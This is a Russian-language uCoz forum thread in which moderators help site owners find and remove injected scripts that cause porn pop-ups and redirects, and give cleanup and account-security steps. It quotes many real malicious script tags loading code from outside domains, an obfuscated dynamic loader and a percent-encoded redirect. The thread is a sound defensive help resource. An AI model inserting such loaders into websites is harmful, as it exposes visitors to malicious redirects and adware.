Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08 01 Окт 2013
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
shatrov
Сообщений: 440
Репутация: 66

Сообщение # 361 | 08:00:14 10 Апр 2015
KATRIONA-83, там где у вас блок статистика вот код
Код
<script type="text/javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%20%74%79%70%65% 3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%20%6C%6F%63%61%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%37%64%61%79%66%69%6C%6D%73%2E %72%75%2F%22%20%3C%2F%73%63%72%69%70%74%3E'));</script>
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 362 | 08:26:02 10 Апр 2015
shatrov, это мне на сайт надо зайти??? А я не могу на него зайти
shatrov
Сообщений: 440
Репутация: 66

Сообщение # 363 | 08:28:21 10 Апр 2015
KATRIONA-83, в ПУ зайдите http://katriona.ucoz.ru/admin
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 364 | 08:58:11 10 Апр 2015
shatrov, спасибо большое)

Добавлено (10 Апр 2015, 08:58:11)
---------------------------------------------
shatrov, ничего не поняла. Сижу туплю.

shatrov
Сообщений: 440
Репутация: 66

Сообщение # 365 | 09:02:31 10 Апр 2015
KATRIONA-83, если вы зашли в ПУ. То вам надо зайти в шаблон там где у вас расположен код со статистикой, найти тот код который я вам написал и удалить его.
KATRIONA-83
Сообщений: 8
Репутация: 0

Сообщение # 366 | 09:04:46 10 Апр 2015
shatrov, Все,теперь поняла. Большое ,вам спасибо!!!
shatrov
Сообщений: 440
Репутация: 66

Сообщение # 367 | 09:04:48 10 Апр 2015
Он находится рядом вот с этим. глобальный блок первый контейнер

Код
<!-- <block6> -->
Сообщение отредактировал shatrov - Пятница, 10 Апр 2015, 09:10:16
Айстенки
Сообщений: 16
Репутация: 2

Сообщение # 368 | 11:17:24 17 Апр 2015
Здравствуйте. Помогите, пожалуйста.
Сайт http://9keys.ru/
Слова "Валюта" "денежный" и "Оборот" выделяются жирным шрифтом, при наведении курсора, появляется всплывающее окно. Блок Валюта виден всем, гостям в том числе.
Прикрепления: 8384323.jpg (44.3 Kb) · 1422859.jpg (44.8 Kb) · 9190922.jpg (31.3 Kb)
$Tiny$
Сообщений: 193
Репутация: 62

Сообщение # 369 | 13:30:56 17 Апр 2015
Айстенки, под блоком "Наши друзья" ищите код:
Код
<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
И удаляйте его. Да и вообще, все эти левые скрипты удалить бы стоило. Зашел на страницу. Кликнул. Firefox заблокировал 30 всплывающих окон. При втором клике - ещё 22. Это жесть.
Айстенки
Сообщений: 16
Репутация: 2

Сообщение # 370 | 13:44:12 17 Апр 2015
$Tiny$, спасибо большое
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 371 | 16:52:38 17 Апр 2015
Айстенки, с помощью быстрой замены по одному удаляйте следующие скрипты
Код
<script src="http://p.chango.com/static/c.js" async="" type="text/javascript"></script>

Код
<script type="text/javascript">var installPartner = "dlc"; var installID = "{60822563-26C2-4861-AA2A-B6E14A038F3B}";var installDate = "2013-6-19";var installerVersion = "3.3";var installedProduct = "selectionlinks";var testGroup = "1";</script>

Код
<script src="http://bulkload.org/run.js?389284" type="text/javascript"></script>

Код
<script type="text/javascript">var installPartner = "dlc"; var installID = "{60822563-26C2-4861-AA2A-B6E14A038F3B}";var installDate = "2013-6-19";var installerVersion = "3.3";var installedProduct = "selectionlinks";var testGroup = "1";</script>

Код
<script src="http://bulkload.org/run.js?389284" type="text/javascript">
</script>

Код
<script src="http://cdnsrv.com/serve/run.php?pid=1005&sub=dlc" async="" type="text/javascript"></script>

Код
<script src="https://secure-content-delivery.com/data.js.php?i={60822563-26C2-4861-AA2A-B6E14A038F3B}&d=2013-6-19&s=http://9keys.ru/shop/1410/edit&cb=0.06988843635171504" type="text/javascript"></script>

Код
<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>

Код
<script id="__changoScript" type="text/javascript">var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);};));</script>

Код
<script data-sifi-parsed="true" src="http://i.simpli.fi/dpx.js?cid=3065&m=0" id="__simpliScript" type="text/javascript"></script>

Код
<script type="text/javascript" src="http://static.cdnsrv.com/apps/tv-classic/selectionLinks/tv-classic-selectionlinks.js"></script><script src="//static.cdnsrv.com/apps/tv-classic/tv-classic-fg.js" type="text/javascript"></script>

Код
<script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>

и мне кажется, вам стоит подлечить браузер
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Denisus1747
Сообщений: 26
Репутация: 7

Сообщение # 372 | 20:18:41 19 Апр 2015
Посмейтесь вместе со мной - мой сайт - http://electrik-info.ucoz.com/ выкинули с каталога сайтов за юкозовскую рекламу - сайт там неделю пробыл.
цитата : "Модератор BELBY.NET отказал в размещении вашего сайта в каталоге!
Баннерная реклама эротического содержания."
...доведите до верхов...
GenAleks
Сообщений: 12
Репутация: 19

Сообщение # 373 | 11:39:18 23 Апр 2015
Цитата учитель-логопед ()
Я не могу вообще зайти на свой сайт, ни гостем ни администратором.сразу перебрасывает. Мой zvukarik.ucoz.ru переброс на http://piccash.net/4861/119694/.помогите пожалуйста
Цитата webanet ()
панель управления - редактор страниц - управление страницами сайта - главная страница - напротив главной жмите на разводной ключ - страница откроется на редактирование - ищите скрипт
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://meinlist.com/9ef297wr76l6ux0pvsxpn81at4gzvp05'></script>
- удаляйте его и сохраняйте страницу

У меня аналогичная проблема с перебросом при открытии главной страницы моего сайта, но в редакторе главной страницы нет вышеуказанного кода, и переброс происходит не всегда, был вчера - перебросило, сегодня утром открыл нормально, а по истечении некоторого времени снова переброс на http://ww1.ru3.biz/?fp=ogD....cifr=1& при открытии главной страницы, с другого компа открывает просто http://ww1.ru3.biz/. В панель управления могу зайти.
Спасибо.
С ув. GenAleks
P.S.
Содержимое главной страницы:

Поправка: Сегодня утром главная страница открылась нормально, при переходе на "Задать вопрос" снова перекинуло на тот же сайт, что указан выше. После обеда та же история: начальная открылась, а потом перебросило на ту же ссылку.
Я не волшебник, я только учусь юкузь
Сообщение отредактировал GenAleks - Пятница, 24 Апр 2015, 14:11:20
prommaterials
Сообщений: 288
Репутация: 199

Сообщение # 374 | 11:59:33 23 Апр 2015
в бегуне такой баннер:



Можно попросить кошечку топтать лапками в другом месте, кроме причинного?
Сайт bezdelnik-1.narod.ru
Спасибо
Прикрепления: 3762233.jpg (46.0 Kb)
Свобода слова допустима на страницах сайтов, посвящённых свободе слова. ©Miss_Esq

употребление -тся и -ться в глаголах
Сообщение отредактировал prommaterials - Четверг, 23 Апр 2015, 12:00:29
defaultNick9434
Сообщений: 4
Репутация: 0

Сообщение # 375 | 23:53:54 01 Май 2015
Сторонняя реклама на сайте много разных баннеров при открытии
адрес сайта
http://spytnikovoe-tv.at.ua/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: